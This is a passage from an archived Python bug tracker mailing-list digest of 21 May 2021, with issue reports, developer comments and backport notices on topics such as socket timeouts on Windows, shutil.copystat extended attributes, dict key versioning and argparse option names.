lookaheads ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 08:19:17 2021 From: report at bugs.python.org (Arpad Toth) Date: Fri, 21 May 2021 12:19:17 +0000 Subject: [issue44204] socket.connect ignores CTRL+C during timeout on Win Message-ID: <1621599557.33.0.994149096604.issue44204@roundup.psfhosted.org> New submission from Arpad Toth : Steps to Reproduce from http.client import HTTPConnection conn = HTTPConnection('192.1.5.2', 80, timeout=50) conn.request('GET', '/') conn.getresponse() Expected Behavior It should give up waiting when requested and exit immediately. Actual Behavior What happens instead. Keeps doing it's timeout until elapse then exits. The issue is in socket.connect, not in urllib3. Environment OS Windows-10-10.0.18362-SP0 Python 3.6.5 urllib3 1.26.3 !Doesn't happen on linux. ---------- components: Library (Lib) messages: 394111 nosy: mrx23dot priority: normal severity: normal status: open title: socket.connect ignores CTRL+C during timeout on Win type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 08:29:36 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Fri, 21 May 2021 12:29:36 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1621600176.28.0.868054359979.issue43882@roundup.psfhosted.org> Senthil Kumaran added the comment: New changeset f14015adf52014c2345522fe32d43f15f001c986 by Senthil Kumaran in branch '3.10': [3.10] bpo-43882 - Mention urllib.parse changes in Whats new section. (GH-26275) https://github.com/python/cpython/commit/f14015adf52014c2345522fe32d43f15f001c986 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 08:30:08 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Fri, 21 May 2021 12:30:08 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1621600208.42.0.705869905334.issue43882@roundup.psfhosted.org> Senthil Kumaran added the comment: New changeset 0593ae84af9e0e8332644e7ed13d7fd8306c4e1a by Senthil Kumaran in branch '3.9': [3.9] bpo-43882 - Mention urllib.parse changes in Whats new section. (GH-26276) https://github.com/python/cpython/commit/0593ae84af9e0e8332644e7ed13d7fd8306c4e1a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 08:48:39 2021 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Fri, 21 May 2021 12:48:39 +0000 Subject: [issue38605] [typing] PEP 563: Postponed evaluation of annotations: enable it by default in Python 3.11 In-Reply-To: <1572192430.43.0.755831692199.issue38605@roundup.psfhosted.org> Message-ID: <1621601319.48.0.898084830768.issue38605@roundup.psfhosted.org> Vedran ?a?i? added the comment: May I ask, is this going forward? I installed 3.11-dev, it's not there (though __future__ claims it should be). I understand if it isn't done yet, just want to know if there's risk it will be postponed again (or even given up). ---------- nosy: +veky _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 08:53:50 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Fri, 21 May 2021 12:53:50 +0000 Subject: [issue38605] [typing] PEP 563: Postponed evaluation of annotations: enable it by default in Python 3.11 In-Reply-To: <1572192430.43.0.755831692199.issue38605@roundup.psfhosted.org> Message-ID: <1621601630.69.0.493318767963.issue38605@roundup.psfhosted.org> Batuhan Taskaya added the comment: > May I ask, is this going forward? I installed 3.11-dev, it's not there (though __future__ claims it should be). I understand if it isn't done yet, just want to know if there's risk it will be postponed again (or even given up). We are still waiting a ruling on PEP 649. If it gets rejected, and no more ideas arises (before beta cut for 3.11), I guess we could move on and resolve this issue again. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 10:32:25 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Fri, 21 May 2021 14:32:25 +0000 Subject: [issue44164] Document what are resources in importlib.resources In-Reply-To: <1621296354.19.0.00786945584157.issue44164@roundup.psfhosted.org> Message-ID: <1621607545.52.0.623279514072.issue44164@roundup.psfhosted.org> Change by Filipe La?ns : ---------- keywords: +patch pull_requests: +24886 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26280 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 10:33:58 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Fri, 21 May 2021 14:33:58 +0000 Subject: [issue44203] test__xxsubinterpreters: heap-buffer-overflow in interp_is_running() on AMD64 Arch Linux Asan 3.x In-Reply-To: <1621594117.76.0.160103726928.issue44203@roundup.psfhosted.org> Message-ID: <1621607638.9.0.353559850585.issue44203@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 10:59:46 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 May 2021 14:59:46 +0000 Subject: [issue43667] Solaris: Fix broken Unicode encoding in non-UTF locales In-Reply-To: <1617099094.43.0.768783655635.issue43667@roundup.psfhosted.org> Message-ID: <1621609186.27.0.84009722594.issue43667@roundup.psfhosted.org> STINNER Victor added the comment: New changeset d3cc68900dc99966007112f884779895daefc7db by Jakub Kul?k in branch '3.9': [3.9] bpo-43667: Fix broken Unicode encoding in non-UTF locales on Solaris (GH-25096) (GH-25847) https://github.com/python/cpython/commit/d3cc68900dc99966007112f884779895daefc7db ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 11:00:39 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 May 2021 15:00:39 +0000 Subject: [issue43667] Solaris: Fix broken Unicode encoding in non-UTF locales In-Reply-To: <1617099094.43.0.768783655635.issue43667@roundup.psfhosted.org> Message-ID: <1621609239.87.0.464218983173.issue43667@roundup.psfhosted.org> STINNER Victor added the comment: Backport to 3.8 may be more complicated. It's up to you to decide if you want to backport it or not. I merged your 3.9 backport, it looks very close to the change made in the main branch. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 11:10:08 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 21 May 2021 15:10:08 +0000 Subject: [issue44180] SyntaxError misidentified in 3.10.0b1 when = used instead of : in dict literal In-Reply-To: <1621449485.2.0.442417390344.issue44180@roundup.psfhosted.org> Message-ID: <1621609808.14.0.544758290289.issue44180@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +24887 pull_request: https://github.com/python/cpython/pull/26281 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 11:10:36 2021 From: report at bugs.python.org (Chris Burr) Date: Fri, 21 May 2021 15:10:36 +0000 Subject: [issue44205] shutil.copystat can fail when copying to a file system with a smaller limit Message-ID: <1621609836.65.0.951968711114.issue44205@roundup.psfhosted.org> New submission from Chris Burr : When copying files between systems with different limits on the size of the extended attributes that can be added to a file shutil.copystat can fail with: /cvmfs/lhcb.cern.ch/lib/var/lib/LbEnv/2064/stable/linux-64/lib/python3.8/shutil.py in copystat(src, dst, follow_symlinks) 377 # We must copy extended attributes before the file is (potentially) 378 # chmod()'ed read-only, otherwise setxattr() will error with -EACCES. --> 379 _copyxattr(src, dst, follow_symlinks=follow) 380 try: 381 lookup("chmod")(dst, mode, follow_symlinks=follow) /cvmfs/lhcb.cern.ch/lib/var/lib/LbEnv/2064/stable/linux-64/lib/python3.8/shutil.py in _copyxattr(src, dst, follow_symlinks) 327 try: 328 value = os.getxattr(src, name, follow_symlinks=follow_symlinks) --> 329 os.setxattr(dst, name, value, follow_symlinks=follow_symlinks) 330 except OSError as e: 331 if e.errno not in (errno.EPERM, errno.ENOTSUP, errno.ENODATA, OSError: [Errno 28] No space left on device: '/tmp/lhcb' This is caused by the destination filesystem having a smaller limit on the size of the extended attributes. I think this behaviour is unexpected as other failures are silently ignored (e.g. the destination doesn't support extended attributes). ---------- components: Library (Lib) messages: 394118 nosy: chrisburr priority: normal severity: normal status: open title: shutil.copystat can fail when copying to a file system with a smaller limit type: crash versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 11:12:22 2021 From: report at bugs.python.org (Chris Burr) Date: Fri, 21 May 2021 15:12:22 +0000 Subject: [issue44205] shutil.copystat can fail when copying to a file system with a smaller limit In-Reply-To: <1621609836.65.0.951968711114.issue44205@roundup.psfhosted.org> Message-ID: <1621609942.22.0.180688870771.issue44205@roundup.psfhosted.org> Change by Chris Burr : ---------- keywords: +patch pull_requests: +24888 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26282 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 11:30:10 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 21 May 2021 15:30:10 +0000 Subject: [issue44180] SyntaxError misidentified in 3.10.0b1 when = used instead of : in dict literal In-Reply-To: <1621449485.2.0.442417390344.issue44180@roundup.psfhosted.org> Message-ID: <1621611010.21.0.321191436918.issue44180@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 07dba474c582e61ca455846da7597d4346324e04 by Miss Islington (bot) in branch '3.10': bpo-44180: Report generic syntax errors in the furthest position reached in the first parser pass (GH-26253) (GH-26281) https://github.com/python/cpython/commit/07dba474c582e61ca455846da7597d4346324e04 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 11:38:13 2021 From: report at bugs.python.org (Mark Shannon) Date: Fri, 21 May 2021 15:38:13 +0000 Subject: [issue44206] Add a version number to dict keys. Message-ID: <1621611493.74.0.261277793426.issue44206@roundup.psfhosted.org> New submission from Mark Shannon : Add a version number to dict keys. PEP 509 added a version number to dicts. Unfortunately this is no use for optimizing attribute loads and store on instances. We need to know whether the keys are as expected, not the dict as that is likely to be different each time. We can add a 32 bit version number and actually reduce memory use by taking advantage of the redundancy in the rest of the keys object. ---------- assignee: Mark.Shannon messages: 394120 nosy: Mark.Shannon, methane, vstinner priority: normal severity: normal stage: needs patch status: open title: Add a version number to dict keys. type: performance _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 11:42:19 2021 From: report at bugs.python.org (Mark Shannon) Date: Fri, 21 May 2021 15:42:19 +0000 Subject: [issue44206] Add a version number to dict keys. In-Reply-To: <1621611493.74.0.261277793426.issue44206@roundup.psfhosted.org> Message-ID: <1621611739.04.0.851029587455.issue44206@roundup.psfhosted.org> Mark Shannon added the comment: The memory saving comes from converting: Py_ssize_t dk_size; dict_lookup_func dk_lookup; to: uint8_t dk_log2_size; uint8_t dk_loopup_kind; /* Only 3 possible values */ uint32_t dk_version; which saves 8 bytes on a 64 bit machine (no saving on a 32 bit machine). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 11:43:27 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 21 May 2021 15:43:27 +0000 Subject: [issue44180] SyntaxError misidentified in 3.10.0b1 when = used instead of : in dict literal In-Reply-To: <1621449485.2.0.442417390344.issue44180@roundup.psfhosted.org> Message-ID: <1621611807.11.0.74572252071.issue44180@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- pull_requests: +24889 pull_request: https://github.com/python/cpython/pull/26283 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 11:48:29 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Fri, 21 May 2021 15:48:29 +0000 Subject: [issue43643] importlib.readers.MultiplexedPath.name is not a property In-Reply-To: <1616880106.57.0.50019170707.issue43643@roundup.psfhosted.org> Message-ID: <1621612109.2.0.179205869698.issue43643@roundup.psfhosted.org> Jason R. Coombs added the comment: I'd intended for the changes in 5.1 to make it into CPython, but I've missed the deadline, so I've backported the referenced commits to importlib_resources 5.0.5 in order to sync into CPython. ---------- versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 11:51:45 2021 From: report at bugs.python.org (Jouke Witteveen) Date: Fri, 21 May 2021 15:51:45 +0000 Subject: [issue43956] C-API: Incorrect default value for Py_SetProgramName In-Reply-To: <1619546220.77.0.781822360652.issue43956@roundup.psfhosted.org> Message-ID: <1621612305.22.0.813060473082.issue43956@roundup.psfhosted.org> Jouke Witteveen added the comment: It is unclear to me what is holding back the proposed pull request. Is it simply waiting for someone from docs at python to take a look, or did it fall off the radar of vstinner in his related activities to deprecate the legacy API? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 11:52:58 2021 From: report at bugs.python.org (Mark Shannon) Date: Fri, 21 May 2021 15:52:58 +0000 Subject: [issue44207] Add a version number to Python functions Message-ID: <1621612378.09.0.0247616387464.issue44207@roundup.psfhosted.org> New submission from Mark Shannon : In order to specialize calls to Python functions, or to inline them, we need to know that the code object has not changed. It is also useful to know that the globals, builtins and various defaults haven't changed either. Rather than attempting to check these individually it is much simpler and faster to check a version number. ---------- assignee: Mark.Shannon messages: 394124 nosy: Mark.Shannon priority: normal severity: normal status: open title: Add a version number to Python functions type: performance _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 12:13:23 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Fri, 21 May 2021 16:13:23 +0000 Subject: [issue43643] importlib.readers.MultiplexedPath.name is not a property In-Reply-To: <1616880106.57.0.50019170707.issue43643@roundup.psfhosted.org> Message-ID: <1621613603.99.0.0536802692196.issue43643@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- keywords: +patch pull_requests: +24890 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26284 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 12:14:09 2021 From: report at bugs.python.org (Barry A. Warsaw) Date: Fri, 21 May 2021 16:14:09 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1621613649.12.0.68493735673.issue40280@roundup.psfhosted.org> Change by Barry A. Warsaw : ---------- nosy: +barry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 12:17:00 2021 From: report at bugs.python.org (Mark Shannon) Date: Fri, 21 May 2021 16:17:00 +0000 Subject: [issue44032] Function locals and evaluation stack should be stored in a contiguous, per-thread stack In-Reply-To: <1620140071.36.0.488434643792.issue44032@roundup.psfhosted.org> Message-ID: <1621613819.99.0.63769193405.issue44032@roundup.psfhosted.org> Change by Mark Shannon : ---------- pull_requests: +24891 pull_request: https://github.com/python/cpython/pull/26285 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 12:32:39 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 21 May 2021 16:32:39 +0000 Subject: [issue44069] pathlib.Path.glob's generator is not a real generator In-Reply-To: <1620402382.41.0.425186476785.issue44069@roundup.psfhosted.org> Message-ID: <1621614759.34.0.961076981627.issue44069@roundup.psfhosted.org> Terry J. Reedy added the comment: I agree that from the outside is seems slightly bizarre to make an internal list to implement a function documented as returning an iterator. However, list(scandir) was added by Serhiy in #26032 with the comment that it made globbing 1.5-4 times faster. This is, of course, if one runs the iterator to completion, as is the normal use. For your presented use case, I suggest something like the following: next(f for f in scandir(path) if os.path.splitext(f)[1] == '.txt') ---------- nosy: +terry.reedy versions: -Python 3.10, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 12:42:14 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 21 May 2021 16:42:14 +0000 Subject: [issue44038] In documentation Section 8.6, the definition of parameter_list need correcting In-Reply-To: <1620158888.72.0.734387137059.issue44038@roundup.psfhosted.org> Message-ID: <1621615334.75.0.992390074048.issue44038@roundup.psfhosted.org> Terry J. Reedy added the comment: I *think* that another bracket pair is needed, changing "," "/" to ["," "/"] ---------- nosy: +pablogsal, terry.reedy versions: +Python 3.11 -Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 12:49:08 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Fri, 21 May 2021 16:49:08 +0000 Subject: [issue44137] importlib.resources.path raises RuntimeError when FileNotFoundError is raise in context manager In-Reply-To: <1621020560.88.0.325550849747.issue44137@roundup.psfhosted.org> Message-ID: <1621615748.48.0.0453397633644.issue44137@roundup.psfhosted.org> Jason R. Coombs added the comment: Thanks for tracking this down, Filipe. Agreed it sounds like it's fixed in Python 3.10. It's unlikely the fix will be backported to Python 3.9. Instead, if this behavior affects your usage, consider using the `importlib_resources` backport, which also includes the fix. And please follow-up if there are issues not addressed by this approach. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 12:50:21 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Fri, 21 May 2021 16:50:21 +0000 Subject: [issue44162] importlib.resources.path no longer supports directories In-Reply-To: <1621286006.08.0.980082746272.issue44162@roundup.psfhosted.org> Message-ID: <1621615821.12.0.821580146794.issue44162@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- resolution: -> not a bug _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 13:00:49 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 21 May 2021 17:00:49 +0000 Subject: [issue43643] importlib.readers.MultiplexedPath.name is not a property In-Reply-To: <1616880106.57.0.50019170707.issue43643@roundup.psfhosted.org> Message-ID: <1621616449.59.0.118055064077.issue43643@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24892 pull_request: https://github.com/python/cpython/pull/26286 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 13:13:13 2021 From: report at bugs.python.org (Matthew Barnett) Date: Fri, 21 May 2021 17:13:13 +0000 Subject: [issue28937] str.split(): allow removing empty strings (when sep is not None) In-Reply-To: <1481469102.15.0.255147638686.issue28937@psf.upfronthosting.co.za> Message-ID: <1621617193.97.0.273667044687.issue28937@roundup.psfhosted.org> Matthew Barnett added the comment: I've only just realised that the test cases don't cover all eventualities: none of them test what happens with multiple spaces _between_ the letters, such as: ' a b c '.split(maxsplit=1) == ['a', 'b c '] Comparing that with: ' a b c '.split(' ', maxsplit=1) you see that passing None as the split character does not mean "any whitespace character". There's clearly a little more to it than that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 13:13:44 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 21 May 2021 17:13:44 +0000 Subject: [issue43927] Remove IOError references from the tutorial In-Reply-To: <1619214665.17.0.886781359628.issue43927@roundup.psfhosted.org> Message-ID: <1621617224.84.0.194202426198.issue43927@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- keywords: +patch nosy: +terry.reedy nosy_count: 2.0 -> 3.0 pull_requests: +24893 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26289 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 13:16:22 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 21 May 2021 17:16:22 +0000 Subject: [issue43927] Remove IOError references from the tutorial In-Reply-To: <1619214665.17.0.886781359628.issue43927@roundup.psfhosted.org> Message-ID: <1621617382.01.0.446772512873.issue43927@roundup.psfhosted.org> Terry J. Reedy added the comment: IOError is a back-compatibility synonym for OSError. I will eliminate the last use from all 3 versions. The change to the previous example was done by 2 people who did not backport to 3.9 and I will not bother with that. Future versions are already fixed. ---------- stage: patch review -> versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 13:20:11 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 21 May 2021 17:20:11 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621617611.13.0.578530479741.issue44184@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 12.0 -> 13.0 pull_requests: +24894 pull_request: https://github.com/python/cpython/pull/26290 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 13:23:02 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 21 May 2021 17:23:02 +0000 Subject: [issue44038] In documentation Section 8.6, the definition of parameter_list need correcting In-Reply-To: <1620158888.72.0.734387137059.issue44038@roundup.psfhosted.org> Message-ID: <1621617782.65.0.60942585083.issue44038@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I think is correct: parameter_list ::= defparameter ("," defparameter)* "," "/" ["," [parameter_list_no_posonly]] | parameter_list_no_posonly Says "a parameter_list" is either: defparameter ("," defparameter)* "," "/" ["," [parameter_list_no_posonly]] or parameter_list_no_posonly If you don't use the "/" then is the second option. Feel free to reopen if I am missing something. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 13:25:06 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 May 2021 17:25:06 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621617906.8.0.114936051034.issue44184@roundup.psfhosted.org> STINNER Victor added the comment: Anthony Sottile: I'm surprised that AST nodes survive until the last GC collection. It seems like somehow a reference cycle prevent to delete these nodes, and this reference cycle is kept alive somehow until the last GC collection at Python exit. It would be interesting to follow references. You may start from PyInterpreterState which keeps objects alive until the last GC collection: * os.register_at_fork() callbacks * codecs.register() callback * Python audit hooks * sys.modules objects * sys.__dict__ Callbacks keep global variables of a module alive through its __globals__ attribute (namespace of the module where it's defined). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 13:28:39 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 21 May 2021 17:28:39 +0000 Subject: [issue44038] In documentation Section 8.6, the definition of parameter_list need correcting In-Reply-To: <1620158888.72.0.734387137059.issue44038@roundup.psfhosted.org> Message-ID: <1621618119.07.0.969650368383.issue44038@roundup.psfhosted.org> Terry J. Reedy added the comment: After mentally reparsing and translating to English, I think you are right. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 13:30:50 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 21 May 2021 17:30:50 +0000 Subject: [issue44032] Function locals and evaluation stack should be stored in a contiguous, per-thread stack In-Reply-To: <1620140071.36.0.488434643792.issue44032@roundup.psfhosted.org> Message-ID: <1621618250.63.0.225301120775.issue44032@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- pull_requests: +24895 pull_request: https://github.com/python/cpython/pull/26291 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 13:34:02 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 21 May 2021 17:34:02 +0000 Subject: [issue44032] Function locals and evaluation stack should be stored in a contiguous, per-thread stack In-Reply-To: <1620140071.36.0.488434643792.issue44032@roundup.psfhosted.org> Message-ID: <1621618442.97.0.198295826686.issue44032@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Mark, can you check the failure? Otherwise is going to start failing on the buildbots when we add the test case for the issue Erlend mentions. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 13:35:03 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 21 May 2021 17:35:03 +0000 Subject: [issue44180] SyntaxError misidentified in 3.10.0b1 when = used instead of : in dict literal In-Reply-To: <1621449485.2.0.442417390344.issue44180@roundup.psfhosted.org> Message-ID: <1621618503.53.0.584424329061.issue44180@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24896 pull_request: https://github.com/python/cpython/pull/26292 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 13:40:07 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 21 May 2021 17:40:07 +0000 Subject: [issue44197] [request feature] Itertools extended combinations to limited number of repetition In-Reply-To: <1621542382.26.0.0131727923077.issue44197@roundup.psfhosted.org> Message-ID: <1621618807.87.0.817086020191.issue44197@roundup.psfhosted.org> Raymond Hettinger added the comment: > it seems too obscure and special-purpose to me to even > qualify as a reasonable candidate for an itertools doc "recipe" My thoughts are the same. @latot Thank you for the suggestion but it doesn't make sense for the standard library. We respectfully decline. ---------- resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 13:41:14 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 21 May 2021 17:41:14 +0000 Subject: [issue44197] [request feature] Itertools extended combinations to limited number of repetition In-Reply-To: <1621542382.26.0.0131727923077.issue44197@roundup.psfhosted.org> Message-ID: <1621618874.71.0.0690113043211.issue44197@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- assignee: -> rhettinger stage: resolved -> type: -> enhancement versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 13:51:20 2021 From: report at bugs.python.org (William Barnhart) Date: Fri, 21 May 2021 17:51:20 +0000 Subject: [issue44208] argparse: Accept option without needing to distinguish "-" from "_" in arg_string Message-ID: <1621619480.47.0.120101426559.issue44208@roundup.psfhosted.org> New submission from William Barnhart : An issue I encountered recently with argparse was when I tried running a script with its argument changed from something like: ``` parser.add_argument('--please_work') ``` and was replaced with: ``` parser.add_argument('--please-work') ``` I have not ever seen anyone add an argument where a function has two arguments existing in a function, such as please_work and please-work. I think this is a pretty safe feature to implement, plus it enforces good practices. So if I wrote something such as: ``` parser = argparse.ArgumentParser(description="check this out") parser.add_argument('--please-work') ``` Then I could call the program using: ``` python3 test.py --please_work True ``` or: ``` python3 test.py --please-work True ``` ---------- components: Library (Lib) messages: 394135 nosy: wbarnha priority: normal severity: normal status: open title: argparse: Accept option without needing to distinguish "-" from "_" in arg_string type: enhancement versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 13:52:33 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 21 May 2021 17:52:33 +0000 Subject: [issue43643] importlib.readers.MultiplexedPath.name is not a property In-Reply-To: <1616880106.57.0.50019170707.issue43643@roundup.psfhosted.org> Message-ID: <1621619553.81.0.997620347444.issue43643@roundup.psfhosted.org> miss-islington added the comment: New changeset fdb65e399ea4e2d13dd41d65662ba25cafe15f1d by Miss Islington (bot) in branch '3.10': [3.10] bpo-43643: Sync with python/importlib_resources at c17a610aad. (GH-26284) (GH-26286) https://github.com/python/cpython/commit/fdb65e399ea4e2d13dd41d65662ba25cafe15f1d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 13:54:15 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 21 May 2021 17:54:15 +0000 Subject: [issue43927] Remove IOError references from the tutorial In-Reply-To: <1619214665.17.0.886781359628.issue43927@roundup.psfhosted.org> Message-ID: <1621619655.3.0.00681043694147.issue43927@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24898 pull_request: https://github.com/python/cpython/pull/26294 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 13:54:10 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 21 May 2021 17:54:10 +0000 Subject: [issue43927] Remove IOError references from the tutorial In-Reply-To: <1619214665.17.0.886781359628.issue43927@roundup.psfhosted.org> Message-ID: <1621619650.75.0.131775535701.issue43927@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24897 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26293 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 13:58:52 2021 From: report at bugs.python.org (William Barnhart) Date: Fri, 21 May 2021 17:58:52 +0000 Subject: [issue44208] argparse: Accept option without needing to distinguish "-" from "_" in arg_string In-Reply-To: <1621619480.47.0.120101426559.issue44208@roundup.psfhosted.org> Message-ID: <1621619932.03.0.646424513435.issue44208@roundup.psfhosted.org> Change by William Barnhart : ---------- keywords: +patch pull_requests: +24899 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26295 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 14:15:43 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 21 May 2021 18:15:43 +0000 Subject: [issue43927] Remove IOError references from the tutorial In-Reply-To: <1619214665.17.0.886781359628.issue43927@roundup.psfhosted.org> Message-ID: <1621620943.6.0.662251387422.issue43927@roundup.psfhosted.org> miss-islington added the comment: New changeset 150bc1f4aa67226fb05fb29032375c203252a538 by Miss Islington (bot) in branch '3.10': bpo-43927: Change 'IOError' to 'OSError' (GH-26289) https://github.com/python/cpython/commit/150bc1f4aa67226fb05fb29032375c203252a538 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 14:17:17 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 21 May 2021 18:17:17 +0000 Subject: [issue43927] Remove IOError references from the tutorial In-Reply-To: <1619214665.17.0.886781359628.issue43927@roundup.psfhosted.org> Message-ID: <1621621037.06.0.497332107873.issue43927@roundup.psfhosted.org> miss-islington added the comment: New changeset e10bd76d47dbb4ac296017b963c308d287a9d2f2 by Miss Islington (bot) in branch '3.9': bpo-43927: Change 'IOError' to 'OSError' (GH-26289) https://github.com/python/cpython/commit/e10bd76d47dbb4ac296017b963c308d287a9d2f2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 14:20:51 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 21 May 2021 18:20:51 +0000 Subject: 